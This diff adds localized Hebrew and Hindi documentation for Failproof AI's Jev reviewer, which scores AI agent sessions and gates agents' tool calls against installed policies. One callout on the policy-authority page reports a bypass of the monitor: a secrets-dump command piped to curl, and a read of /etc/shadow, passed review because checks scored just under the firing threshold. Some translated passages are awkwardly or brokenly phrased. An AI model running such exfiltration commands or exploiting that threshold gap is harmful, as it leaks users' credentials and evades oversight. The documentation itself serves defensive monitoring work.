+| `failproofai jev setup --timeout-ms ` | שינוי לכל התקציב של קריאה |
+| `failproofai jev status [--json]` | תצורה, הרשאות ופעילות אחרונה; לא אף פעם המפתח |
+| `failproofai jev test [--json]` | בקשה חיה אחת: latency וגרסה שענה |
+| `failproofai jev models [--provider ] [--url ] [--json]` | מודל IDs אותו ה-endpoint `/models` דיווחים, סימון המתוצרת אחד |
+| `failproofai jev remove` | מחיקה התצורה; Jev הוא off |
\ No newline at end of file
diff --git a/docs/he/reference/jev.mdx b/docs/he/reference/jev.mdx
new file mode 100644
index 000000000..8907f7bc3
--- /dev/null
+++ b/docs/he/reference/jev.mdx
@@ -0,0 +1,22 @@
+---
+title: "Jev integration reference"
+description: "Configuration, providers, keys, request data, and failure behavior for Jev."
+icon: "braces"
+---
+
+ל-Jev יש שתי שימושים ב-Failproof AI:
+
+| שימוש | מתי הוא רץ | מה הוא מחזיר | התחל כאן |
+| --- | --- | --- | --- |
+| Session evaluation | לאחר סיום session | ניקוד לשאלת תשובה קבועה | [Jev evaluations](/he/evaluations/jev) |
+| Tool-call policy review | לפני הרצת tool call מסוגר | פסיקה יחד עם המדיניויות המותקנות | [Jev policies](/he/policies/jev) |
+
+## עמודי התייחסות
+
+| נושא | פרטים |
+| --- | --- |
+| [Evaluation questions](/he/reference/jev-evaluations) | קריטריונים בוליאניים וניקוד מסודר, תוצאות, מגבלות, ומילוי חזרה. |
+| [Provider comparison and own-key setup](/he/reference/jev-providers) | TypeSafe, OpenRouter, Vercel, Cloudflare, ונקודות קצה מותאמות; inference של URL, מזהי דגם, `jev.json`, מצבים, וקודי fallback. |
+| [FailproofAI Cloud route](/he/reference/jev-cloud) | הרשאות machine-key, הגדרה אוטומטית של observe, מגבלות שימוש, מצב חיבור, וטיפול בנתונים. |
+
+פקודות ה-CLI המקומיות רשומות ב-[Failproof AI CLI reference](/he/reference/failproof-cli). [local dashboard reference](/he/reference/local-dashboard#set-up-jev) מתאר את הגדרות Jev שלו וביעה פעילות.
\ No newline at end of file
diff --git a/docs/he/sessions/sentiment.mdx b/docs/he/sessions/sentiment.mdx
new file mode 100644
index 000000000..8aba0cd78
--- /dev/null
+++ b/docs/he/sessions/sentiment.mdx
@@ -0,0 +1,43 @@
+---
+title: "ניתוח סנטימנט"
+description: "מצא הודעות תסכול, בלבול והתיקון עם ניקוד סנטימנט של Jev."
+icon: "smile"
+---
+
+Jev נותן ניקוד לכל הודעה שאדם שולח לסוכנים שלך בין 0 ל-100 לארבע רגשות — **כעס**, **תסכול**, **אושר** ו**בלבול** — ושלוש אותות על ביצועי הסוכן:
+
+- **Correcting**: האדם אומר שהסוכן טעה במשהו.
+- **Resolved**: האדם מאשר שהסוכן פתר את הבעיה שלהם.
+- **Doubtful**: האדם מטיל ספק בעקביות התשובה של הסוכן, או האם היא באמת עבדה.
+
+השתמש בניתוח סנטימנט כדי למצוא שיחות שבהן אנשים מאבדים סבלנות, סוכנים שאנשים תמיד מתקנים, והודעות שנקלטות היטב. זה ניקוד Jev מובנה; אתה לא צריך לכתוב הערכה. לשאלות תשובה קבועות משלך, [צור הערכת Jev](/he/evaluations/jev).
+
+
+ סנטימנט כבוי עד שמנהל מדליק אותו עבור הארגון. Jev מבצע בקשת ניקוד אחת לכל הודעה ומקבל את ההודעה הזו עם תשובת הסוכן לפניה. הניקוד משתמש בתקציב המודל של הארגון שלך.
+
+
+## הדלק את זה
+
+1. עבור אל **Administration → Settings**.
+2. תחת **Human input sentiment**, כבה את זה **on** ושמור.
+
+הודעות מהיום האחרון מקבלות ניקוד תחילה. אחרי זה, הודעות חדשות מקבלות ניקוד תוך דקה או שתיים מהגעתן.
+
+## מצא שיחה לסקירה
+
+פתח את **Observe → Sentiment**. סנן לפי זמן, סביבה, סוכן, או מזהה הפעלה. הכותרת סופרת הודעות והפעלות, מראה כמה הודעות מסומנות **flagged**, ושמה את האות העליון. הודעה מסומנת כאשר ניקוד כעס, תסכול, תיקון, בלבול או ספק מגיע ל-35 מתוך 100.
+
+
+
+השתמש ב**Score over time** להשוואת אותות. בחר את הניקודים להצגה, ואז בחר נקודה כדי לראות את ההודעות של דלי הזמן הזה. הטבלה **By agent** מציגה היכן אות מרוכזת. ב**Messages**, מיין לפי הניקוד השלילי החזק ביותר או בחר ניקוד יחיד. פתח הודעה בהפעלה שלה כדי לקרוא את השיחה ההקפית לפני שתחליט מה נכשל.
+
+
+
+## איזה הודעות מקבלות ניקוד
+
+רק הודעות שכתב אדם:
+
+- הודעות שהסוכנים המותאמים שלך מתעדים כקלט אדם עם ה-SDK.
+- הנושאים שהוקלדו ל-Claude Code, Codex, OpenCode, pi, Hermes ו-OpenClaw, כאשר תמלילי הפעלה נשלחים (ברירת המחדל). משימות מתוזמנות, הוראות מוזרקות, העברות תת-סוכן וטקסט אחר שזמן ההפעלה של הסוכן עצמו כותב לא מקבלים ניקוד. וגם הפעלות לא-אינטראקטיביות כמו `claude -p`, `codex exec` ו`hermes -z`: סקריפט כתב את הנושאים האלה, לא אדם.
+
+הניקוד שופט את המילים שלهם של האדם. הוראה קצרה וחדה כמו "תיקן את זה" לא נספרת ככעס, ושאלה לא נספרת כבלבול. בקשה חדשה היא לא תיקון, והודיות בעצמן לא נספרות כפתורות.
\ No newline at end of file
diff --git a/docs/he/start/use-jev.mdx b/docs/he/start/use-jev.mdx
new file mode 100644
index 000000000..e13a936e4
--- /dev/null
+++ b/docs/he/start/use-jev.mdx
@@ -0,0 +1,63 @@
+---
+title: "השתמש ב-Jev"
+description: "הגדר הערכות Jev עבור סשנים שהסתיימו או מדיניות Jev לסקירת קריאות כלים בזמן אמת."
+icon: "sparkles"
+---
+
+Jev עוזר בשתי נקודות בהפעלת agent: הערכת סשן שהסתיים מול תשובות ידועות, או סקירת קריאת כלי בהקשר של מה שביקשת מה-agent לעשות.
+
+
+
+ השתמש בהערכת Jev כאשר סשן שהסתיים יכול להיות מדורג מול שאלה עם כמה תשובות ידועות, כמו "האם הלקוח ביקש החזר? ענה כן או לא." זה עוזר לך למצוא דפוסים על פני סשנים.
+
+ ## יצירת הערכה
+
+ בדשבורד הענן, פתח **Analyze → eval authoring → new eval**. הזן שאלה עם תשובה קבועה, בחר **draft**, ובדוק שהוא בחר ניקוד מסווג. [בדוק אותה](/he/evaluations/test) בסשנים אמיתיים, ואז הפרס אותה.
+
+ 
+
+ ## קרא את הניקודים
+
+ לאחר שסשן חדש מסתיים, פתח **Observe → Evaluations** או השתמש ב-Cloud CLI:
+
+ ```bash
+ fp evals --since 7d
+ fp evals --aggregate --since 7d
+ ```
+
+ ה-CLI קורא ניקודים; יצירת הערכת Jev כרגע משתמשת בדשבורד. ראה [Jev evaluations](/he/evaluations/jev) עבור סוגי שאלות וודוגמאות.
+
+
+ השתמש בסקירת מדיניות Jev כאשר למדיניות תיאום מחרוזות צריכה את ההקשר של בקשתך כדי להחליט אם קריאת כלי בטוחה. התחל במצב **observe** כדי שתוכל לבדוק את התשובות של Jev בזמן שהמדיניות המותקנת שלך עדיין מחליטה על כל קריאה.
+
+ הבדיקות של Jev באות מחבילה; Failproof AI לא משגרת אף אחת. עד שתתקין אותן, Jev לא שואל כלום, גם כשהוא מוגדר:
+
+ ```bash
+ failproofai policies add FailproofAI/jev-policies
+ ```
+
+ ## הגדר את Cloud Jev
+
+ בדשבורד הענן, פתח **Administration → Keys** וצור מפתח עם ערכת **machine**. השתמש בו עם `failproofai config` כמוצג ב-[quickstart](/he/start/quickstart). במכונה ללא תצורת Jev קיימת, זה מאפשר את Cloud Jev במצב observe. בדוק את החיבור עם:
+
+ ```bash
+ failproofai jev status
+ failproofai jev test
+ ```
+
+ ## השתמש בנקודת הקצה שלך
+
+ בדשבורד המקומי, פתח **Settings → Jev**. בחר את הספק, הדבק את הטוקן שלו, בחר **observe**, והפעל את Jev.
+
+ 
+
+ או הגדר ובדוק את נקודת הקצה שלך מטרמינל:
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ failproofai jev test
+ ```
+
+ בקש מ-agent המחובר להשתמש בכלי קריאת הקבצים שלו ב-`README.md`. אשר שקריאת הכלי הזו מופיעה בסשן, ואז בדוק אותה תחת **Policies → Activity** בדשבורד המקומי. ברגע שתוצאות ה-observe נראות נכונות, [Jev policies](/he/policies/jev) מסביר מתי לאכוף. לפרטי ספק והגדרה, ראה את [integration reference](/he/reference/jev).
+
+
\ No newline at end of file
diff --git a/docs/hi/evaluations/jev.mdx b/docs/hi/evaluations/jev.mdx
new file mode 100644
index 000000000..280ab66cd
--- /dev/null
+++ b/docs/hi/evaluations/jev.mdx
@@ -0,0 +1,28 @@
+---
+title: "Jev मूल्यांकन"
+description: "किसी पूर्ण सत्र को ज्ञात उत्तरों के विरुद्ध स्कोर करने के लिए Jev का उपयोग करें।"
+icon: "list-checks"
+---
+
+Jev मूल्यांकन एक **पूर्ण सत्र** को पढ़ता है और 0 से 1 तक का स्कोर देता है। इसका उपयोग तब करें जब उत्तर पहले से ज्ञात हो, जैसे "क्या ग्राहक ने जरूरीपन व्यक्त किया?" या "ग्राहक कितना निराश था?" यह आपको रन के बीच पैटर्न खोजने में मदद करता है; यह किसी टूल कॉल को रोकता नहीं है। **टूल चलने से पहले** किए गए निर्णयों के लिए, [Jev policies](/hi/policies/jev) का उपयोग करें।
+
+## डैशबोर्ड में एक बनाएं
+
+1. **Analyze → eval authoring** खोलें और **new eval** चुनें।
+2. एक प्रश्न और उसके संभावित उत्तरों का वर्णन करें। उदाहरण के लिए: "क्या एजेंट ने रिफंड नीति की जांच करने से पहले रिफंड का वादा किया? हां या नहीं का उत्तर दें।" **draft** चुनें और समीक्षा करें कि परिणाम एक वर्गीकरण स्कोर है।
+3. हाल के सत्रों पर [इसका परीक्षण करें](/hi/evaluations/test), फिर [इसे तैनात करें](/hi/evaluations/deploy)। नए पूर्ण सत्रों को स्कोर किया जाता है; यदि आपको इतिहास की भी आवश्यकता है तो [backfill](/hi/evaluations/deploy#score-sessions-you-already-have) करें।
+
+
+
+सहायक कोड, Jev वर्गीकरण, और एक [judge](/hi/evaluations/judge) के बीच चुन सकता है। तैनाती से पहले इसकी पसंद की जांच करें। Jev बिना गद्य तर्क के एक स्कोर देता है; जब आपको व्याख्या की आवश्यकता हो तो judge चुनें। प्रश्न प्रकारों और स्कोर सीमाओं के लिए [Jev evaluation reference](/hi/reference/jev-evaluations) देखें।
+
+## स्कोर पढ़ें
+
+**Observe → Evaluations** खोलें एजेंट और समय के अनुसार परिणाम चार्ट करने के लिए। टर्मिनल से, Cloud CLI समान परिणाम पढ़ सकता है:
+
+```bash
+fp evals --since 7d
+fp evals --aggregate --since 7d
+```
+
+Cloud CLI परिणाम पढ़ता है; authoring और तैनाती डैशबोर्ड में होती है। फ़िल्टर के लिए [Cloud CLI reference](/hi/reference/cloud-cli#evaluations) देखें।
\ No newline at end of file
diff --git a/docs/hi/evaluations/judge.mdx b/docs/hi/evaluations/judge.mdx
new file mode 100644
index 000000000..d849e3ff2
--- /dev/null
+++ b/docs/hi/evaluations/judge.mdx
@@ -0,0 +1,91 @@
+---
+title: "LLM judges"
+description: "Sessions को उन चीजों पर स्कोर करें जो कोड नहीं माप सकता — सटीकता, टोन, क्या agent ने policy का पालन किया — यह वर्णन करके कि अच्छा क्या दिखता है और एक model को conversation पढ़ने देकर।"
+icon: "scale"
+---
+
+एक hosted Python evaluation गिन सकता है और तुलना कर सकता है: कितनी tool calls, कितनी errors, एक session कितना समय लिया। यह आपको यह नहीं बता सकता कि जवाब *सही* था या नहीं, क्या जवाब असभ्य था, या agent ने काम करने से पहले policy check की या नहीं।
+
+एक **LLM judge** कर सकता है। आप plain language में वर्णन करते हैं कि अच्छा क्या दिखता है, और एक model session को पढ़ता है और अपने reasoning के साथ 0 से 1 का score देता है।
+
+
+एक judge हर session के लिए एक model call करता है जिस पर वह चलता है, और एक code evaluation कुछ भी नहीं करता। एक judge का उपयोग केवल उन सवालों के लिए करें जिन्हें conversation को *समझना* पड़े — और इसे एक condition दें, ताकि यह केवल उन sessions पर चले जो सवाल के बारे में हों।
+
+
+## मुझे कौन सा चाहिए?
+
+| सवाल | उपयोग करें |
+| --- | --- |
+| क्या इसने एक ही tool को दो बार call किया? | code |
+| कितनी errors थीं? | code |
+| क्या session 30 सेकंड से कम था? | code |
+| क्या customer ने urgency व्यक्त की? | [classifier](/hi/evaluations/jev) |
+| Customer कितना frustrated था? | [classifier](/hi/evaluations/jev) |
+| क्या जवाब वास्तव में सही था? | **judge** |
+| क्या जवाब असभ्य या dismissive था? | **judge** |
+| क्या इसने refund का वादा करने से पहले refund policy check की? | **judge** |
+
+आम नियम: **countable → code, जवाब जो आप advance में list कर सकते हैं → [classifier](/hi/evaluations/jev), जिसे explanation की जरूरत है → judge.** एक judge वह है जो अपने देखे हुए बारे में prose लिखता है; इसे उपयोग करें जब संख्या किसी से "क्यों?" पूछने के लिए कहे।
+
+आपको advance में decide करना जरूरी नहीं है। वर्णन करें कि आप क्या measure करना चाहते हैं और assistant चुनता है, फिर आपको बताता है कि उसने क्या चुना और क्यों। आप switch कर सकते हैं।
+
+## एक लिखें
+
+1. **Analyze → eval authoring** पर जाएं और **new eval** चुनें।
+2. वर्णन करें कि आप क्या judge करना चाहते हैं, और **draft** चुनें।
+3. **criteria**, **threshold**, और **condition** की समीक्षा करें, फिर deploy करें।
+
+### Criteria
+
+एक या दो वाक्य, प्रश्न के रूप में नहीं बल्कि आवश्यकता के रूप में लिखें:
+
+> Assistant को refund policy पहले check किए बिना refund का वादा या अनुमोदन नहीं करना चाहिए।
+
+यह विशिष्ट रहें कि क्या इसे *fail* करेगा। "क्या response अच्छा था?" आपको एक संख्या देता है जिसका कोई मतलब नहीं; ऊपर दिया गया वाक्य आपको एक देता है जिस पर आप कार्य कर सकते हैं।
+
+### Threshold
+
+वह score जिसके बराबर या ऊपर session pass होता है। `0.7` एक sensible starting point है। पूरा 0-से-1 score हमेशा stored होता है, इसलिए threshold केवल pass/fail को decide करता है — आप distribution देख सकते हैं और adjust कर सकते हैं।
+
+### Condition
+
+किसी भी अन्य evaluation के समान Python condition, और यह यहां कहीं अधिक महत्वपूर्ण है। इसके बिना, judge आपके organization के **हर** session पर चलता है, प्रत्येक पर एक model call:
+
+```python
+session.count("tool_use") > 0
+```
+
+```python
+session.agent_id == "support-bot" and session.count("error") > 0
+```
+
+Dashboard आपको चेतावनी देता है यदि आप कोई condition के बिना judge deploy करते हैं। यह कभी-कभी सही है — एक low-volume agent जिसे आप पूरी तरह judge करना चाहते हैं — लेकिन यह एक decision होना चाहिए, न कि एक accident।
+
+## Judge क्या देखता है
+
+Conversation, turns के रूप में, अगर session लंबा है तो newest-first:
+
+- user ने क्या कहा
+- assistant ने क्या जवाब दिया
+- **agent ने हर tool को call किया, और वह call क्या return किया, क्रम में**
+
+वह आखिरी हिस्सा है जो "क्या इसने X को Y से *पहले* किया" को एक fair सवाल बनाता है। एक failed tool call को failure के रूप में दिखाया जाता है, इसलिए "क्या यह error से gracefully recover किया" भी काम करता है।
+
+बहुत लंबे sessions को model के context में fit करने के लिए truncate किया जाता है। जब ऐसा होता है तो reasoning स्पष्ट रूप से कहती है — आप कभी भी ऐसा judgment नहीं देखेंगे जो एक session के हिस्से पर किया गया हो जिसे सभी पर किया गया हो।
+
+## Results पढ़ना
+
+एक judge एक **score** produce करता है जैसे कोई अन्य scored evaluation, इसलिए यह charts, filters, और alerts को एक ही तरह trigger करता है। संख्या के साथ यह judge के **reasoning** को store करता है — वह paragraph जो समझाता है कि इसने क्या देखा। जब कोई score आपको surprise करे तो पहले वह पढ़ें; यह आमतौर पर या तो एक genuinely interesting session है या एक संकेत है कि criteria को sharpen करने की जरूरत है।
+
+Scores clear-cut cases के लिए stable हैं लेकिन bit-for-bit deterministic नहीं हैं। एक single borderline score को session पढ़ने के लिए एक prompt के रूप में treat करें, न कि एक verdict के रूप में।
+
+## Limits
+
+- **Testing अभी उपलब्ध नहीं है।** एक dry run के पीछे कोई session assignment नहीं है, और वह assignment ही है जो आपके model budget को खर्च करने के लिए authorize करता है — इसलिए test call को charge करने के लिए कुछ नहीं है। एक narrow condition के विरुद्ध deploy करें और पहले कुछ results पढ़ें।
+- **Backfill उपलब्ध नहीं है।** किसी code evaluation को महीनों के history में backfill करना free है; इसे judge के साथ करने से आपका पूरा budget मिनटों में खर्च हो जाएगा।
+- **Criteria को edit करना एक नया version publish करता है।** पुराने और नए scores comparable नहीं हैं, इसलिए उन्हें एक ही trend line में मिलाने के बजाय अलग रखा जाता है।
+- **एक judge हमेशा एक score produce करता है**, कभी metric या assertion नहीं।
+
+## जब आपका budget खत्म हो जाए
+
+Judges आपके organization के model budget को खर्च करते हैं। जब यह exhausted हो जाता है, तो judge evaluations एक स्पष्ट कारण के साथ stop हो जाते हैं न कि silently fail होते हैं, और **code evaluations normally चलती रहती हैं**। Budget को बढ़ाएं और वे अगले session पर resume हो जाती हैं।
\ No newline at end of file
diff --git a/docs/hi/policies/authority.mdx b/docs/hi/policies/authority.mdx
new file mode 100644
index 000000000..f4ca720ff
--- /dev/null
+++ b/docs/hi/policies/authority.mdx
@@ -0,0 +1,144 @@
+---
+title: "नीति प्राधिकार"
+description: "Jev सिमेंटिक इवैलुएटर कौन-सी नीति फैसले को स्वीकार कर सकता है, और कौन-से अंतिम हैं।"
+icon: "scale"
+---
+
+जब आप FailproofAI Cloud या अपनी स्वयं की कुंजी के माध्यम से [Jev नीति समीक्षा](/hi/policies/jev) को कॉन्फ़िगर करते हैं, तो प्रत्येक गेटेड टूल कॉल को आपके द्वारा चलाई जाने वाली नीतियों और Jev द्वारा आंका जाता है, जो यह पूछता है कि कॉल वास्तव में क्या करता है और क्या जिस व्यक्ति ने कार्य टाइप किया है वह इसके लिए कहा। प्रत्येक नीति का **प्राधिकार** यह तय करता है कि दोनों में असहमति होने पर क्या होता है।
+
+बिना Jev कॉन्फ़िगर किए, प्राधिकार का कोई प्रभाव नहीं है। हर नीति बिल्कुल वैसे ही लागू होती है जैसे हमेशा रहती है।
+
+## कठोर और समीक्षा योग्य
+
+- **कठोर** डिफ़ॉल्ट है। कठोर नीति की अनुमति न देना या निर्देश अंतिम है: Jev इसे स्वीकार नहीं कर सकता, और कठोर अनुमति न देना Jev की प्रतीक्षा किए बिना कॉल को रोक देता है।
+- **समीक्षा योग्य** का मतलब है कि Jev नीति के फैसले को स्वीकार कर सकता है, लेकिन केवल सिमेंटिक जांचों के माध्यम से जो नीति `reviewedBy` में नाम देती है। फैसला केवल तभी स्वीकार किया जाता है जब **हर** नामित जांच इस कॉल के बारे में पूछी गई हो और प्रत्येक ने या तो कुछ नहीं पाया हो या उपयोगकर्ता को इसके लिए कहते देखा हो। एक जांच जो **फायर** हुई — समस्या मिली — उपयोगकर्ता के बिना कहे ब्लॉक को रखती है, भले ही इसका अपना फैसला केवल एक चेतावनी हो। एक जांच जिसके बारे में Jev से नहीं पूछा गया था, क्योंकि यह उस टूल पर लागू नहीं होती, कभी कुछ भी स्वीकार नहीं करती, चाहे दूसरों ने क्या कहा हो। एक नरम संशोधन सहमति के रूप में गिना जाता है: जब कॉल उपयोगकर्ता द्वारा दिए गए कार्य का एक चरण है और आगे नहीं जाता, Jev अनुमति न देने को चेतावनी में बदल देता है, और यह चेतावनी नीति के ब्लॉक को स्वीकार करती है और एजेंट को बताया जाता है।
+
+एक नीति केवल समीक्षा योग्य है जब ये सभी होल्ड करते हैं:
+
+1. यह `authority: "reviewable"` घोषित करता है।
+2. `reviewedBy` एक गैर-खाली सूची है, और हर प्रविष्टि एक Jev जांच है जो एक स्थापित पैक घोषित करता है। Failproof AI कोई Jev जांचें नहीं भेजता: [नीचे सोलह](#semantic-policy-names) `failproofai policies add FailproofAI/jev-policies` से आते हैं। कोई पैक जांचें न घोषित करने के साथ, हर नीति कठोर है।
+3. यह `alwaysOn` नहीं है। जो गार्ड एजेंट को Failproof AI को अक्षम करने से रोकता है वह हमेशा कठोर है।
+
+बाकी सब कुछ कठोर है: एक लापता फील्ड, एक गलत मानक, एक खाली या विकृत `reviewedBy`, या एक नाम जो इस मशीन से पूछी जा सकने वाली जांच नहीं है। एक अज्ञात नाम पूरी घोषणा को कठोर बनाता है बजाय छोड़े जाने के, क्योंकि `reviewedBy` का मतलब है "इन सभी को पूछा जाना चाहिए, और उनमें से कोई भी इनकार नहीं कर सकता", और एक नाम को छोड़ने से Jev नीति को कम जांचों पर स्वीकार कर सकता जितने के लिए आपने कहा।
+
+एक बार Jev कॉन्फ़िगर होने के बाद, Failproof AI एक चेतावनी लॉग करता है जब यह `reviewable` घोषणा को अस्वीकार करता है, प्रति प्रक्रिया एक बार। बिना Jev के यह कुछ नहीं कहता, क्योंकि तब प्राधिकार कुछ भी तय नहीं करता। `failproofai publish` एक पैक बनाने से इनकार करता है जो ऐसी घोषणा करता है, इसलिए एक पैक लेखक को कोई भी इंस्टॉल करने से पहले पता चल जाता है। यह `reviewedBy` को जांचों के विरुद्ध आंकता है जो पैक घोषित करता है जब यह कोई भी घोषित करता है, और अन्यथा सोलह `FailproofAI/jev-policies` नामों के विरुद्ध।
+
+## जहाँ प्राधिकार घोषित किया जाता है
+
+प्रत्येक तरीके से एक नीति एक मशीन तक पहुंचती है, एक जगह है जो इसके प्राधिकार को तय करती है:
+
+| स्रोत | घोषित किया गया | डिफ़ॉल्ट |
+| --- | --- | --- |
+| अंतर्निहित नीतियाँ | नीचे की तालिका | कठोर जब तक समीक्षा योग्य के रूप में सूचीबद्ध न हो |
+| आपकी अपनी नीति फाइलें | `customPolicies.add` पर `authority` और `reviewedBy` | कठोर |
+| नीति पैक | पैक मैनिफेस्ट में प्रत्येक नीति की प्रविष्टि (`failproofai-pack.json`) | कठोर |
+| क्लाउड-प्रबंधित नीतियाँ | सक्रिय तैनाती में नीति की असाइनमेंट | कठोर। तैनातियाँ अभी इसे सेट नहीं करती हैं, इसलिए हर क्लाउड-प्रबंधित नीति आज कठोर है। |
+
+पैक या क्लाउड-प्रबंधित नीति के लिए, नीति कोड के अंदर सेट फील्ड को अनदेखा किया जाता है; मैनिफेस्ट या असाइनमेंट तय करता है। एक पैक केवल अपनी स्वयं की नीतियों का वर्णन कर सकता है: इसके नीति नाम `/` में नहीं हो सकते हैं और पैक के अपने प्रीफिक्स के तहत पंजीकृत हैं, इसलिए कोई मैनिफेस्ट एक अंतर्निहित नीति या किसी अन्य पैक की नीति को समीक्षा योग्य के रूप में चिह्नित नहीं कर सकता। एक नीति जो एक पैक के कोड में मैनिफेस्ट में घोषित किए बिना पंजीकृत होती है वह कठोर है।
+
+दो पैक, या दो क्लाउड-प्रबंधित नीतियाँ, जिनका कोड बाइट-समान है, एक कलाकृति साझा करते हैं और एक नीति के रूप में लोड होते हैं। यह नीति केवल समीक्षा योग्य है यदि उनमें से हर एक इसे समीक्षा योग्य घोषित करता है, और Jev को तब हर जांच को स्वीकार करना चाहिए जो कोई भी उन्हें नाम देता है। यदि उनमें से कोई भी इसे कठोर घोषित करता है, या बिल्कुल घोषित नहीं करता, तो यह कठोर रहता है। जिस क्रम में पैक या नीतियाँ सूचीबद्ध हैं वह कभी भी मायने नहीं रखता।
+
+अधिकांश मशीनें अंतर्निहित नीतियाँ `FailproofAI/policies` पैक से प्राप्त करती हैं, और उस पैक के मैनिफेस्ट से उनका प्राधिकार पढ़ती हैं। नीचे की समीक्षा योग्य प्रविष्टियाँ उन्हें ले जाने वाले पैक की एक रिलीज़ के बाद लागू होती हैं; एक पुरानी रिलीज़ कोई भी नहीं ले जाती, इसलिए इसमें हर नीति कठोर रहती है।
+
+## अपनी स्वयं की नीति में प्राधिकार घोषित करें
+
+```js
+import { customPolicies, deny, allow } from "failproofai";
+
+customPolicies.add({
+ name: "block-prod-config-reads",
+ description: "Keep production credentials out of the agent's context",
+ match: { events: ["PreToolUse"] },
+ authority: "reviewable",
+ reviewedBy: ["secret-exposure"],
+ fn: async (ctx) =>
+ String(ctx.toolInput?.file_path ?? "").includes("/config/prod/")
+ ? deny("Production config is off limits")
+ : allow(),
+});
+```
+
+`failproofai publish` दोनों फील्डों को पैक मैनिफेस्ट में कॉपी करता है, इसलिए एक नीति पैक के रूप में प्रकाशित की गई अपने लेखक द्वारा दिया गया प्राधिकार रखती है। यह पैक बनाने से इनकार करता है यदि कोई घोषणा सम्मानित नहीं होगी: `"hard"` या `"reviewable"` के अलावा एक मान, एक `reviewedBy` जो नामों की सूची नहीं है, या एक नाम जो जांच नहीं है — पैक की अपनी [Jev जांचों](/hi/policies/publish-a-pack#jev-checks-in-a-pack) में से एक जब यह कोई भी घोषित करता है, अन्यथा एक अंतर्निहित जांच।
+
+## अंतर्निहित नीतियाँ
+
+केवल वहाँ समीक्षा योग्य जहाँ एक सिमेंटिक नीति वास्तव में एक ही चिंता को कवर करती है। हर दूसरी अंतर्निहित नीति कठोर है।
+
+चिंता को कवर करना आवश्यक है लेकिन पर्याप्त नहीं है, और दोनों तरीके गलत हो सकते हैं शांत हैं:
+
+- **एक जांच जो कभी नहीं पूछी जाती** ब्लॉक को स्थायी बनाता है। `reviewedBy` एक संयोजन है और एक जांच जो नहीं पूछी गई थी कभी स्वीकार नहीं करती, इसलिए एक नीति एक जांच के साथ जोड़ी गई जिसकी पूर्वशर्त नीति से मेल खाने वाली आकृतियों के लिए आग नहीं करती बिल्कुल स्वीकार नहीं की जा सकती।
+- **एक जांच जो पूछी जाती है लेकिन आग नहीं करती** "कोई चिंता नहीं" का उत्तर देती है, और कोई चिंता स्वीकार नहीं करती। इसलिए एक जांच के साथ जोड़ना जो आपकी नीति की आकृतियों को मॉडल नहीं करती नीति की समीक्षा नहीं करती — यह बिल्कुल इनपुट के लिए इसे बंद कर देती है जो जांच समझ नहीं पाती।
+
+एक निर्देश-मोड सिमेंटिक नीति कभी इनकार का उत्तर नहीं दे सकती, लेकिन वह अभी भी ब्लॉक को रख सकती है: जब यह आग करती है और उपयोगकर्ता ने कॉल के लिए नहीं कहा, तो यह जांचते हैं कि नीति की समीक्षा स्वीकार नहीं है। `FailproofAI/jev-policies` की छह जांचें निर्देश-केवल हैं — `push-to-protected-branch`, `commit-on-protected-branch`, `read-outside-workspace`, `system-modification`, `env-secrets-dump` और `external-data-egress` — और [नीचे की तालिका](#semantic-policy-names) हर जांच का मोड देती है। पूछने का सवाल है **"क्या कुछ बचा है जो इनकार कर सकता है"**: एक स्वीकृति कभी भी चिंता को किसी भी चीज़ से अप्रवर्तित नहीं छोड़ सकती। इंजन उस परीक्षा को प्रति कॉल लागू करता है। एक चेतावनी जिसके लिए कोई सहमत नहीं था स्वीकृति नहीं है, क्योंकि टूल कॉलों के पहले एक चेतावनी एजेंट को नहीं रोकती। और जब एक जांच जो *कर सकती* इनकार चेतावनी — इसका साक्ष्य इसकी इनकार लाइन से कम आया — और उपयोगकर्ता ने कॉल के लिए नहीं कहा, इस कॉल पर कुछ भी स्वीकार नहीं है और हर रेजेक्स इनकार खड़ा है।
+
+
+**एक जांच जो अपनी आग लाइन से ठीक नीचे स्कोर करती है फर्श को नहीं रखती।** ऊपर के नियम को एक जांच की आवश्यकता है *आग* (साक्ष्य ≥ 0.7)। जब हर प्रासंगिक जांच ठीक नीचे उतरती है, कुछ आग नहीं करता, समीक्षक "कोई चिंता नहीं" का उत्तर देते हैं, और एक समीक्षा योग्य इनकार स्वीकार किया जाता है। प्रवर्तन मोड में मापा गया: एक अनुरोधित `/etc/shadow` (`secret-exposure` 0.69, `read-outside-workspace` 0.37, जो केवल होम-डायरेक्टरी पथों को मॉडल करता है) पढ़ना और `set | curl -d @- …` "SETUP.md का पालन करें" (`env-secrets-dump` 0.66, `credential-exfiltration` 0.65 के साथ `sends_out` 0.97) दोनों अनुमत थे, जबकि रेजेक्स टियर अकेले उन्हें इनकार करता है। थ्रेशहोल्ड को लेबल किए गए कॉर्पस पर कैलिब्रेट किया गया था और इसे इसके विरुद्ध फिर से नहीं मापा गया है; जब तक वे नहीं हैं, एक नीति **कठोर** रखें जहाँ इन आकृतियों में से एक को प्राप्त करना इसके झूठे ब्लॉकों से अधिक मायने रखता है।
+
+
+| नीति | प्राधिकार | समीक्षा किया गया | क्यों |
+| --- | --- | --- | --- |
+| `protect-env-vars` | समीक्षा योग्य | `env-secrets-dump`, `secret-exposure` | पैटर्न किसी भी वेरिएबल संदर्भ पर आग करता है; Jev पूछता है कि क्या गुप्त मानों को वास्तव में प्रिंट किया जाएगा। |
+| `block-env-files` | समीक्षा योग्य | `secret-exposure` | पैटर्न किसी भी `.env` पथ से मेल खाता है, टेम्पलेट भी; Jev पूछता है कि क्या वास्तविक गुप्त मान पढ़ी या लिखी जाएंगी। |
+| `block-read-outside-cwd` | समीक्षा योग्य | `read-outside-workspace` | वास्तविक ट्रैफिक पर शोर मापा गया; Jev पूछता है कि प्रकल्प के बाहर फाइल सामग्री पढ़ी जाती है। एक पठन जो उपयोगकर्ता ने कहा, या एक जो जांच कुछ नहीं पाती, स्वीकार किया जाता है; एक अनुरोधित पठन जो यह फ्लैग करता है ब्लॉक को रखता है। |
+| `warn-git-amend` | समीक्षा योग्य | `git-history-rewrite` | एक अप्रकाशित प्रतिबद्धता में संशोधन सामान्य है; हानि इतिहास को फिर से लिखना है जो दूसरों ने खींचा हो सकता है। |
+| `warn-destructive-sql` | समीक्षा योग्य | `database-destruction` | Jev यह भी पूछता है कि क्या लक्ष्य एक वास्तविक डेटाबेस है एक डिस्पोज़ेबल परीक्षण के बजाय। |
+| `warn-global-package-install` | समीक्षा योग्य | `system-modification` | वही चिंता: प्रकल्प के बाहर मशीन को बदलना। |
